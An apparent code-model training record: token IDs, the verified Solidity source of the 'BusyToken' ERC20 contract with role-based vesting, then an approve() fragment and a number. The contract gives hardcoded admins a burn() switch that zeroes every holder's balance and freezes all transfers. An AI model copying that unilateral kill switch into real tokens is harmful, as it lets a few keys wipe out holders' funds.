[ 1, 565, 445, 389, 2849, 70, 841, 55, 1165, 2171, 1345, 12, 203, 3639, 2254, 5034, 3844, 16, 203, 3639, 2254, 5034, 1026, 13937, 16, 203, 3639, 2254, 5034, 1018, 2171, 6275, 203, 565, 262, 2713, 1476, 1135, 261, 11890, 5034, 6798, 10257, 1345, 13, 288, 203, 3639, 2254, 5034, 605, 21, 273, 1026, 13937, 18, 1289, 12, 8949, 1769, 203, 3639, 327, 389, 2849, 70, 841, 11476, 340, 12, 3299, 2171, 6275, 16, 605, 21, 16, 1026, 13937, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/** *Submitted for verification at Etherscan.io on 2021-03-09 */ // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(value))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(value))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(value))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint256(_at(set._inner, index))); } struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } abstract contract AccessControl is Context { using EnumerableSet for EnumerableSet.AddressSet; using Address for address; struct RoleData { EnumerableSet.AddressSet members; bytes32 adminRole; } mapping (bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view returns (bool) { return _roles[role].members.contains(account); } /** * @dev Returns the number of accounts that have `role`. Can be used * together with {getRoleMember} to enumerate all bearers of a role. */ function getRoleMemberCount(bytes32 role) public view returns (uint256) { return _roles[role].members.length(); } /** * @dev Returns one of the accounts that have `role`. `index` must be a * value between 0 and {getRoleMemberCount}, non-inclusive. * * Role bearers are not sorted in any particular way, and their ordering may * change at any point. */ function getRoleMember(bytes32 role, uint256 index) public view returns (address) { return _roles[role].members.at(index); } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual { require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to grant"); _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual { require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to revoke"); _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { emit RoleAdminChanged(role, _roles[role].adminRole, adminRole); _roles[role].adminRole = adminRole; } function _grantRole(bytes32 role, address account) private { if (_roles[role].members.add(account)) { emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) private { if (_roles[role].members.remove(account)) { emit RoleRevoked(role, account, _msgSender()); } } } pragma solidity 0.6.6; contract AccessControlMixin is AccessControl { string private _revertMsg; function _setupContractId(string memory contractId) internal { _revertMsg = string(abi.encodePacked(contractId, ": INSUFFICIENT_PERMISSIONS")); } modifier only(bytes32 role) { require( hasRole(role, _msgSender()), _revertMsg ); _; } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.2; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev Implementation of the {IERC20} interface. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; bool private _allBurnt; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { if(isBurnt()) { return 0; } return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { if(isBurnt()) { return 0; } return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { require(!isBurnt(), "Everything burnt"); _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { if(isBurnt()) { return 0; } return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { require(!isBurnt(), "Everything burnt"); _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { require(!isBurnt(), "Everything burnt"); _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { require(!isBurnt(), "Everything burnt"); _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { require(!isBurnt(), "Everything burnt"); _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _updateLockedAmount(address account, uint256 amount) internal { _balances[account] = _balances[account].sub(amount, "Low balance"); } function _updateBalanceAfterUnlock(address account, uint256 amount) internal { _balances[account] = _balances[account].add(amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function isBurnt() public view returns(bool) { return _allBurnt; } function _setBurnt() internal { require(!_allBurnt, "Already burnt everything"); _allBurnt = true; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } pragma solidity 0.6.6; contract BusyToken is ERC20, AccessControlMixin { struct LockedTokens { bool exists; uint256 totalAmount; uint256 releasedAmount; uint256 startedAt; uint256 releaseAt; } event Vested(address indexed recipient, uint256 amount, uint256 startedAt, uint256 releaseAt); event ReleasedVesting(address indexed recipient, uint256 totalAmount, uint256 totalReleased, uint256 releasedNow); event Burnt(address invoker, uint256 amount); mapping (address => LockedTokens) private _lockedTokens; function _attemptLock(address recipient, uint256 numerator, uint256 denominator, uint256 releaseAt) internal only(DEFAULT_ADMIN_ROLE) { LockedTokens memory entry = _lockedTokens[recipient]; require(!entry.exists, "Bad vesting recipient address"); if(releaseAt <= now) { return; } uint256 amount = _calculatePercentage(totalSupply(), numerator, denominator); _updateLockedAmount(msg.sender, amount); _lockedTokens[recipient] = LockedTokens(true, amount, 0, now, releaseAt); emit Vested(recipient, amount, now, releaseAt); } function _calculatePercentage(uint256 total, uint256 numerator, uint256 denominator) internal pure returns (uint256) { return total.mul(numerator).div(denominator); } constructor(string memory name_, string memory symbol_) public ERC20(name_, symbol_) { _setupContractId("BUSY Token"); _setupRole(DEFAULT_ADMIN_ROLE, msg.sender); uint256 amount = 255 * (10 ** 6) * (10**18); _mint(msg.sender, amount); grantRole(DEFAULT_ADMIN_ROLE, 0x79a2CcB4E79Fa310547fdb208741A345A56f7291); grantRole(DEFAULT_ADMIN_ROLE, 0xfa86c5C86fd7D04D0F5f49eb93a0FA6681866dfe); grantRole(DEFAULT_ADMIN_ROLE, 0x9c128FfF01951f7cB8a1332B2655a0F87170Cced); grantRole(DEFAULT_ADMIN_ROLE, 0x5dC5370FC946C07629A0Aa08E9D41d5bBC9Dc1c0); } function multibeneficiaryVestingV1(address recipient, uint256 amount, uint256 numerator, uint256 denominator, uint256 releaseAt) external only(DEFAULT_ADMIN_ROLE) { require(!isBurnt(), "Everything burnt"); require(recipient != address(0), "Bad recipient address"); require(amount != 0, "Bad vesting amount"); require(balanceOf(msg.sender) > amount, "Low balance"); LockedTokens memory entry = _lockedTokens[recipient]; require(!entry.exists, "Vesting not possible in this address"); require(releaseAt > now, "Release time not in future"); uint256 _amount = _calculatePercentage(amount, numerator, denominator); _transfer(msg.sender, recipient, _amount); _updateLockedAmount(msg.sender, amount.sub(_amount)); _lockedTokens[recipient] = LockedTokens(true, amount.sub(_amount), 0, now, releaseAt); emit Vested(recipient, amount, now, releaseAt); } function multibeneficiaryVestingV2(address recipient, uint256 amount, uint256 startAt, uint256 releaseAt) public only(DEFAULT_ADMIN_ROLE) { require(!isBurnt(), "Everything burnt"); require(recipient != address(0), "Bad recipient address"); require(amount != 0, "Bad vesting amount"); require(balanceOf(msg.sender) > amount, "Low balance"); LockedTokens memory entry = _lockedTokens[recipient]; require(!entry.exists, "Vesting not possible in this address"); require(startAt > now, "Starting time not in future"); require(releaseAt > now, "Release time not in future"); require(startAt < releaseAt, "Release time > starting time of vesting"); _updateLockedAmount(msg.sender, amount); _lockedTokens[recipient] = LockedTokens(true, amount, 0, startAt, releaseAt); emit Vested(recipient, amount, startAt, releaseAt); } function getLockedTokens(address owner) external view returns(uint256, uint256, uint256, uint256) { require(!isBurnt(), "Everything burnt"); LockedTokens memory entry = _lockedTokens[owner]; if(!entry.exists) { return (0, 0, 0, 0); } return (entry.totalAmount, entry.releasedAmount, entry.startedAt, entry.releaseAt); } function attemptUnlock(address owner) external { require(!isBurnt(), "Everything burnt"); require(owner == msg.sender, "Access declined"); LockedTokens memory entry = _lockedTokens[owner]; require(entry.exists, "Nothing vested in this address"); if(entry.startedAt > now) { return; } if(entry.releaseAt <= now) { if(entry.totalAmount == entry.releasedAmount) { return; } uint256 releaseNow = entry.totalAmount.sub(entry.releasedAmount); _updateBalanceAfterUnlock(owner, releaseNow); entry.releasedAmount = entry.totalAmount; _lockedTokens[owner] = entry; emit ReleasedVesting(owner, entry.totalAmount, entry.releasedAmount, releaseNow); return; } uint256 releasable = entry.totalAmount.mul(now.sub(entry.startedAt)).div(entry.releaseAt.sub(entry.startedAt)); require(releasable != 0, "Nothing to release now"); require(releasable > entry.releasedAmount, "Nothing to release now"); uint256 releaseNow = releasable.sub(entry.releasedAmount); _updateBalanceAfterUnlock(owner, releaseNow); entry.releasedAmount = releasable; _lockedTokens[owner] = entry; emit ReleasedVesting(owner, entry.totalAmount, entry.releasedAmount, releaseNow); } function burn() external only(DEFAULT_ADMIN_ROLE) { _setBurnt(); emit Burnt(msg.sender, totalSupply()); } }
* @dev See {IERC20-approve}. Requirements: - `spender` cannot be the zero address./
function approve(address spender, uint256 amount) public virtual override returns (bool) { require(!isBurnt(), "Everything burnt"); _approve(_msgSender(), spender, amount); return true; }
2,145,627
